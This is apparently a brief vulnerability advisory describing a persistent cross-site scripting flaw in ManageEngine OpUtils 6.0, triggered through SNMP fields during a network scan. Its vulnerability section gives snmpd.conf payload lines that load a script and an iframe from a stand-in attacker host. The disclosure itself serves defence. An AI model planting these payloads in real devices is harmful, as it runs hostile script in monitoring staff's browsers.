ManageEngine OpUtils 6.0 – Persistent Cross-Site Scripting
# Author: loneferret of Offensive Security # Product: ManageEngine OpUtils # Version: 6 # Vendor Site: http://www.manageengine.com # Software Download: http://www.manageengine.com/products/oputils/download.html # Software Description: # http://www.manageengine.com/products/oputils/oputils.html # The toolset can be used to troubleshoot the frequent network problems such as network # connectivity, availability, performance, health, and latency of any IP node in the network. # It provides desktop details like CPU, Disk space information, installed software, # process information and other vital metrics. Readymade tools to manage DNS names, # IP and MAC addresses are also available. SNMP tools are included to help monitor # any SNMP-enabled IP node. Graphs, charts, and tables offer real-time views of # the network and system information. Results can be exported as reports in various # formats like PDF and HTML. # Vulnerability: # The XSS is triggered by configuring a snmpd.conf file to point to an attacker-controlled # JavaScript file # .. # syslocation <script src="http://attacker/xss.js"></script> # syscontact <iframe src="http://attacker/something.html"></iframe> # # Adding the target machine either via a network scan or manually by adding the IP to the host list # ManageEngine monitors. When a SNMP Scan is initiated, we are presented with a couple of # nice alert boxes. # |